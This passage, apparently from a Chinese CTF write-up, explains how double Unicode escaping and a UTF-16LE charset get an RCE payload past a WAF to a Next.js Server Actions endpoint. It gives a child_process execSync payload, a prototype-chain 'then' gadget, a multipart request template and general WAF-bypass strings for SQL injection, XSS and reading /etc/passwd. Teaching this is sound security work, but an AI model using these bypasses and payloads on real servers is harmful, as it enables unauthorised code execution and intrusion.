↓ 再编码一次:\u007b\u0022\u005c\u0075\u0030\u0030\u0035\u0066...

WAF处理流程

复制代码
接收:\u007b\u0022\u005c\u0075\u0030\u0030\u0035\u0066...(双重编码)
  ↓
解码一次:{"\u005f\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065": ...}(单层编码)
  ↓
黑名单检查:含\u005f\u0072...?不含!→ 放行!
  ↓
转发给Next.js

Next.js处理

复制代码
接收:{"\u005f\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065": ...}(单层编码)
  ↓
再解码一次:{"_response": ...}(原始恶意代码)
  ↓
执行 → RCE成功!

图解双重编码

复制代码
你的输入                    WAF看到的               Next.js看到的
─────────                   ───────────            ─────────────
\u007b                    {                       {
  \u0022                    "                       "
    \u005c                    \                       _
      \u0075                    u                       r
        \u0030                  0                       e
          \u0030                0                       s
            \u0035              5                       p
              \u0066            f                       o
                \u0072          r                       n
                  \u0065        e                       s
                    \u0073      s                       e
                      \u0070    p                       :
                      ...    ...                     ...

实际解码后:                 实际解码后:
第一层:\u007b = {          第一层:\u005f = _
第二层:\u005c\u0075...    第二层:直接就是原始字符

另一种绕过:UTF-16LE编码

原理相同,换种编码方式

WAF只检查Unicode解码 ,但后端支持多种编码

复制代码
WAF:我只懂Unicode解码,其他编码我不认识,直接放行
Next.js:我支持utf8, utf16le, latin1, base64, hex, ascii...

具体操作

1. 构造正常Payload

复制代码
{
  "_response": {
    "_prefix": "require('child_process').execSync('id')"
  }
}

2. 整体转为UTF-16LE字节

复制代码
{ → 0x7B 0x00
" → 0x22 0x00
_ → 0x5F 0x00
...

3. 在HTTP请求中声明编码

复制代码
Content-Disposition: form-data; name="0"
Content-Type: text/plain; charset=utf16le  ← 关键!告诉后端用什么解码

[UTF-16LE编码的二进制数据]

4. WAF处理

复制代码
看到Content-Type: text/plain; charset=utf16le
但WAF只检查Unicode解码 → 不认识UTF-16LE → 直接放行原始字节

5. Next.js处理

看到charset=utf16le → 用UTF-16LE解码 → 还原成原始JSON → 执行


两种绕过方式对比

方式 原理 优点 缺点
双重Unicode编码 利用解码次数差 纯文本,易构造 体积翻倍
UTF-16LE编码 利用编码类型差 一次编码即可 需要二进制处理

关键思维:解码不一致攻击

复制代码
┌─────────────────────────────────────────┐
│           解码不一致攻击模型              │
├─────────────────────────────────────────┤
│  组件A解码方式 ≠ 组件B解码方式           │
│         ↓                               │
│  构造Payload:在A看来是安全的            │
│              在B看来是恶意的             │
│         ↓                               │
│           绕过成功!                     │
└─────────────────────────────────────────┘

其他常见场景

场景 A组件 B组件 利用方式
SQL注入 WAF MySQL id=1%2520union → WAF看%2520,MySQL看union
XSS 前端过滤 浏览器 <scr%00ipt> → 前端认scr,浏览器认script
命令执行 安全软件 Bash cat$IFS/etc/passwd → 软件认字符串,Bash认空格

本题完整Payload结构(双重Unicode编码)

复制代码
POST / HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----mioqwq
Next-Action: x

------mioqwq
Content-Disposition: form-data; name="0"

\u007b\u000a\u0020\u0020\u0022\u005c\u0075\u0030\u0030\u0037\u0034...  ← 双重编码的JSON
------mioqwq
Content-Disposition: form-data; name="1"

"$@0"
------mioqwq
Content-Disposition: form-data; name="2"

[]
------mioqwq--

解码流程

复制代码
WAF接收:\u007b\u000a...(双重编码)
  ↓ Unicode解码一次
WAF检查:{"\u0074\u0068\u0065\u006e": ...}(单层,无敏感词)→ 放行
  ↓ 转发
Next.js接收:{"\u0074\u0068\u0065\u006e": ...}(单层)
  ↓ 再Unicode解码一次
Next.js执行:{"then": "$1:__proto__:then", "_response": {...}} → RCE!

总结:编码绕过的核心公式

Payload = (你的恶意代码) × (A的解码次数) ÷ (B的解码次数)

情况 公式 结果
A解码1次,B解码2次 编码2次 A看到安全,B看到恶意 ✓
A不解码,B解码 任意编码 A看到乱码/原文,B看到恶意 ✓
A解码,B不解码 不编码或编码1次 看具体过滤

本题 :WAF解码1次,Next.js解码2次 → 需要编码2次

什么时候二次编码有效?

只有当满足以下两个条件时,二次编码才可能成功:

表格

条件 说明
1. WAF 只解码一次 WAF 拿到请求后,做一次 urldecode(),然后检测关键词。
2. 后端会解码两次(或更多) 应用代码在 WAF 之后又做了一次(或多次)urldecode(),最终还原出原始 payload。

🧩 这种"WAF 解一层,后端解两层"的处理层数不一致,才是二次编码绕过的根本原因。

关键纠正 :WAF检查完后,转发的是原始请求,不是解码后的内容!

两次解码的具体来源

复制代码
┌─────────────────────────────────────────────────────────┐
│  第一次解码:HTTP请求体解析(Node.js/Next.js内置)        │
│  Content-Type: multipart/form-data                       │
│  解析表单数据时,自动处理字符编码                         │
├─────────────────────────────────────────────────────────┤
│  第二次解码:React Flight协议解析(应用层)               │
│  解析name="0"字段的JSON内容时                            │
│  对JSON字符串值进行Unicode转义解码                        │
└─────────────────────────────────────────────────────────┘

详细流程图解

原始请求(你发送的)

复制代码
POST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----mioqwq

------mioqwq
Content-Disposition: form-data; name="0"

{"\u0074\u0068\u0065\u006e": "\u0024\u0031\u003a..."}  ← 单层Unicode编码
------mioqwq--

第一次解码:HTTP层

复制代码
// Next.js接收HTTP请求
// 解析 multipart/form-data

const formData = await request.formData();
// formData.get("0") 返回:
// '{"\\u0074\\u0068\\u0065\\u006e": "\\u0024\\u0031\\u003a..."}'

// 注意:HTTP解析把 \u 变成了 \\u(转义了反斜杠)
// 或者如果声明了charset=utf16le,会按UTF-16LE解码

关键点 :HTTP层根据Content-Type做字符集解码,但不会解析\uXXXX这种JSON Unicode转义。


第二次解码:React Flight协议层

复制代码
// Next.js拿到表单字段值后
// 进入 React Server Actions / Flight 协议处理

const payload = formData.get("0"); 
// payload = '{"\\u0074\\u0068\\u0065\\u006e": ...}'

// Flight协议解析JSON,并对字符串值进行Unicode解码
const parsed = JSON.parse(payload); 
// 或者 Flight 特有的解码逻辑

// 结果:
parsed.then === "$1:__proto__:then"  // \u0074\u0068\u0065\u006e 解码为 then

为什么Flight协议要二次解码?

这是React的序列化协议设计

复制代码
// React Flight 协议用于 Server Actions
// 它需要在JSON中传输特殊对象、Promise、Symbol等

// 传输时的编码:
const encoded = {
  "then": "$1:__proto__:then",  // 实际传输为 \u0074\u0068\u0065\u006e 等
  "status": "resolved_model",
  "_response": {...}
}

// 接收时解码:
// 1. HTTP层:字节 → 字符串
// 2. Flight层:字符串中的\uXXXX → 实际字符

设计目的:确保特殊字符在HTTP传输中不会被破坏,同时支持复杂的JavaScript对象序列化。


对比:普通JSON vs Flight协议

场景 解码次数 说明
普通JSON API 1次 HTTP解析后,JSON.parse不再处理\u
React Flight 2次 HTTP解析 + Flight专用Unicode解码
本题WAF 1次 只做了unicode_escape解码
相关推荐
燃于AC之乐7 小时前
深入解剖STL deque:从源码剖析到容器适配器实现
开发语言·c++·stl·源码剖析·容器实现
kaikaile19957 小时前
基于MATLAB的滑动轴承弹流润滑仿真程序实现
开发语言·matlab
禹凕7 小时前
Python编程——进阶知识(MYSQL引导入门)
开发语言·python·mysql
JaguarJack7 小时前
PHP 应用遭遇 DDoS 攻击时会发生什么 从入门到进阶的防护指南
后端·php·服务端
傻乐u兔8 小时前
C语言进阶————指针4
c语言·开发语言
大模型玩家七七8 小时前
基于语义切分 vs 基于结构切分的实际差异
java·开发语言·数据库·安全·batch
历程里程碑8 小时前
Linux22 文件系统
linux·运维·c语言·开发语言·数据结构·c++·算法
牛奔9 小时前
Go 如何避免频繁抢占?
开发语言·后端·golang
寻星探路13 小时前
【深度长文】万字攻克网络原理:从 HTTP 报文解构到 HTTPS 终极加密逻辑
java·开发语言·网络·python·http·ai·https